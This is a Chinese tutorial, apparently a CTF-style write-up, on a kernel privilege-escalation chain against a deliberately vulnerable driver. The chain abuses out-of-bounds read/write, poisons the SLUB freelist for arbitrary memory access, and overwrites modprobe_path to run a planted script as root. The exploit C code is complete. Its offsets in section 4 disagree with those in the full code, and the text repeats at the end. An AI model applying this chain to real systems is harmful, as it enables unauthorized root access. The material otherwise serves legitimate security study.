Linux Kernel Exploit 内核漏洞学习(4)-RW Any Memory
字数 1355 2025-08-03 16:49:42

Linux Kernel Exploit 内核漏洞学习(4)-RW Any Memory 教学文档

1. 漏洞概述

RW Any Memory(任意内存读写)漏洞通常由以下原因导致:

  • 越界读写
  • 错误引用指针操作

这种漏洞允许攻击者:

  • 修改程序的常规读写区域
  • 改变程序执行流程
  • 最终实现权限提升

2. 前置知识

2.1 modprobe_path

modprobe_path 是内核中一个重要的字符串指针:

  • 指向内核在运行未知文件类型时执行的二进制文件路径
  • 默认值为 "/sbin/modprobe"
  • 当内核运行错误格式的文件时,会调用此路径指向的二进制文件

关键特性

  • 可通过 /proc/kallsyms 查看地址:cat /proc/kallsyms | grep modprobe_path
  • 修改此指针可让内核以 root 权限执行任意二进制文件

相关内核代码

int __request_module(bool wait, const char *fmt, ...) {
    // ...
    char *argv[] = { modprobe_path, "-q", "--", module_name, NULL };
    static char *envp[] = { "HOME=/", "TERM=linux", "PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL };
    // ...
    ret = call_usermodehelper(modprobe_path, argv, envp, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);
    // ...
}

2.2 mod_tree

mod_tree 是包含模块指针的内存区域:

  • 可用于泄露模块基地址
  • 当堆或栈中没有找到模块地址时特别有用
  • 查看方法:grep mod_tree /proc/kallsyms

3. 漏洞分析

3.1 驱动数据结构

驱动使用以下结构体作为交互接口:

struct heap {
    size_t id;
    size_t *data;
    size_t len;
    size_t offset;
};

3.2 功能分析

驱动提供四个主要功能:

  1. cin_kernel

    • 从用户态写入指定长度数据到内核
    • 存在越界写漏洞(offset可为负数)
  2. cout_kernel

    • 从内核读取指定长度数据到用户态
    • 存在越界读漏洞(offset可为负数)
  3. delete

    • 删除pool数组中的内容
  4. alloc

    • 申请内存并将地址和大小存入pool数组

3.3 漏洞利用关键点

  • pool数组位于驱动的.bss段
  • 通过负数offset实现向上越界读写
  • 利用slub分配器特性(类似fastbin)控制分配

4. 利用思路

4.1 泄露内核地址

  1. 通过越界读取堆上方0x200偏移处的数据
  2. 计算得到内核基地址和mod_tree地址
cout_kernel(0,mem,0x200,-0x200);
kernel_addr = *((size_t *)mem) - 0x8472c0;
mod_tree_addr = kernel_addr + 0x811000;

4.2 泄露模块地址

  1. 修改slub分配器的fd指针指向mod_tree地址
  2. 分配内存获取mod_tree内容
  3. 计算得到模块基地址和pool地址
*((size_t *)mem) = mod_tree_addr + 0x50;
cin_kernel(4,mem,0x100,-0x100);
alloc(5,mem,0x100);
alloc(6,mem,0x100);
cout_kernel(6,mem,0x40,-0x40);
ko_addr = *((size_t *)mem) - 0x2338;
pool_addr = ko_addr + 0x2400;

4.3 获取任意读写能力

  1. 劫持pool数组控制权
  2. 通过修改pool数组实现任意地址读写
delete(2);
delete(5);
*((size_t *)mem) = pool_addr + 0xc0;
cin_kernel(4,mem,0x100,-0x100);
alloc(7,mem,0x100);
alloc(8,mem,0x100);

4.4 利用modprobe_path提权

  1. 修改modprobe_path指向自定义脚本
  2. 创建触发脚本和错误格式文件
  3. 执行错误格式文件触发root权限命令
*((size_t *)mem) = kernel_addr + 0x03f960; // modprobe_path地址
*((size_t *)(mem+0x8)) = 0x100;
cin_kernel(8,mem,0x10,0);

strncpy(mem,"/home/pwn/copy.sh\0",18);
cin_kernel(0xc,mem,18,0);

// 准备脚本和触发文件
system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
system("chmod +x /home/pwn/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/sir");
system("chmod +x /home/pwn/sir");

// 触发执行
system("/home/pwn/sir");

5. 完整EXP分析

#include<stdio.h>
#include<unistd.h>
#include<fcntl.h>

struct heap{
    size_t id;
    size_t *data;
    size_t len;
    size_t offset;
};
int fd;

void alloc(int id, char *data, size_t len){...}
void delete(int id){...}
void cin_kernel(int id, char *data, size_t len, size_t offset){...}
void cout_kernel(int id, char *data, size_t len, size_t offset){...}

int main(){
    fd = open("/dev/hackme",0);
    size_t heap_addr,kernel_addr,mod_tree_addr,ko_addr,pool_addr;
    char *mem = malloc(0x1000);
    
    // 初始化堆布局
    memset(mem,'A',0x100);
    alloc(0,mem,0x100);
    alloc(1,mem,0x100);
    alloc(2,mem,0x100);
    alloc(3,mem,0x100);
    alloc(4,mem,0x100);

    // 泄露堆地址
    delete(1);
    delete(3);
    cout_kernel(4,mem,0x100,-0x100);
    heap_addr = *((size_t *)mem) - 0x100;

    // 泄露内核地址
    cout_kernel(0,mem,0x200,-0x200);
    kernel_addr = *((size_t *)mem) - 0x0472c0;
    mod_tree_addr = kernel_addr + 0x011000;

    // 泄露模块地址
    memset(mem,'B',0x100);
    *((size_t *)mem) = mod_tree_addr + 0x50;
    cin_kernel(4,mem,0x100,-0x100);
    memset(mem,'C',0x100);
    alloc(5,mem,0x100);
    alloc(6,mem,0x100);
    cout_kernel(6,mem,0x40,-0x40);
    ko_addr = *((size_t *)mem) - 0x2338;
    pool_addr = ko_addr + 0x2400;

    // 获取任意读写能力
    delete(2);
    delete(5);
    memset(mem,'D',0x100);
    *((size_t *)mem) = pool_addr + 0xc0;
    cin_kernel(4,mem,0x100,-0x100);
    alloc(7,mem,0x100);
    alloc(8,mem,0x100);

    // 修改modprobe_path提权
    *((size_t *)mem) = kernel_addr + 0x03f960;
    *((size_t *)(mem+0x8)) = 0x100;
    cin_kernel(8,mem,0x10,0);

    strncpy(mem,"/home/pwn/copy.sh\0",18);
    cin_kernel(0xc,mem,18,0);
    
    // 准备提权脚本
    system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
    system("chmod +x /home/pwn/copy.sh");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/sir");
    system("chmod +x /home/pwn/sir");

    // 触发执行
    system("/home/pwn/sir");
    system("cat /home/pwn/flag");
    return 0;
}

6. 注意事项

  1. 路径问题:system()中的命令必须使用绝对路径
  2. 偏移计算:不同内核版本偏移可能不同,需根据实际情况调整
  3. 环境准备:需要提前准备好触发脚本和错误格式文件
  4. 权限问题:确保脚本有执行权限
  5. 替代方案:除了modprobe_path,还可以考虑修改cred结构体或劫持VDSO

7. 总结

通过本案例我们学习了:

  1. 如何利用越界读写漏洞实现任意内存访问
  2. 通过slub分配器特性控制内存分配
  3. 利用modprobe_path机制实现权限提升
  4. 内核地址泄露和计算的方法
  5. 完整的漏洞利用链构建过程

这种技术虽然强大,但在实际应用中需要考虑内核版本差异和防护机制(如KASLR、SMEP等)的影响。

Linux Kernel Exploit 内核漏洞学习(4)-RW Any Memory 教学文档 1. 漏洞概述 RW Any Memory(任意内存读写)漏洞通常由以下原因导致: 越界读写 错误引用指针操作 这种漏洞允许攻击者: 修改程序的常规读写区域 改变程序执行流程 最终实现权限提升 2. 前置知识 2.1 modprobe_ path modprobe_path 是内核中一个重要的字符串指针: 指向内核在运行未知文件类型时执行的二进制文件路径 默认值为 "/sbin/modprobe" 当内核运行错误格式的文件时,会调用此路径指向的二进制文件 关键特性 : 可通过 /proc/kallsyms 查看地址: cat /proc/kallsyms | grep modprobe_path 修改此指针可让内核以 root 权限执行任意二进制文件 相关内核代码 : 2.2 mod_ tree mod_tree 是包含模块指针的内存区域: 可用于泄露模块基地址 当堆或栈中没有找到模块地址时特别有用 查看方法: grep mod_tree /proc/kallsyms 3. 漏洞分析 3.1 驱动数据结构 驱动使用以下结构体作为交互接口: 3.2 功能分析 驱动提供四个主要功能: cin_ kernel : 从用户态写入指定长度数据到内核 存在越界写漏洞(offset可为负数) cout_ kernel : 从内核读取指定长度数据到用户态 存在越界读漏洞(offset可为负数) delete : 删除pool数组中的内容 alloc : 申请内存并将地址和大小存入pool数组 3.3 漏洞利用关键点 pool数组位于驱动的.bss段 通过负数offset实现向上越界读写 利用slub分配器特性(类似fastbin)控制分配 4. 利用思路 4.1 泄露内核地址 通过越界读取堆上方0x200偏移处的数据 计算得到内核基地址和mod_ tree地址 4.2 泄露模块地址 修改slub分配器的fd指针指向mod_ tree地址 分配内存获取mod_ tree内容 计算得到模块基地址和pool地址 4.3 获取任意读写能力 劫持pool数组控制权 通过修改pool数组实现任意地址读写 4.4 利用modprobe_ path提权 修改modprobe_ path指向自定义脚本 创建触发脚本和错误格式文件 执行错误格式文件触发root权限命令 5. 完整EXP分析 6. 注意事项 路径问题 :system()中的命令必须使用绝对路径 偏移计算 :不同内核版本偏移可能不同,需根据实际情况调整 环境准备 :需要提前准备好触发脚本和错误格式文件 权限问题 :确保脚本有执行权限 替代方案 :除了modprobe_ path,还可以考虑修改cred结构体或劫持VDSO 7. 总结 通过本案例我们学习了: 如何利用越界读写漏洞实现任意内存访问 通过slub分配器特性控制内存分配 利用modprobe_ path机制实现权限提升 内核地址泄露和计算的方法 完整的漏洞利用链构建过程 这种技术虽然强大,但在实际应用中需要考虑内核版本差异和防护机制(如KASLR、SMEP等)的影响。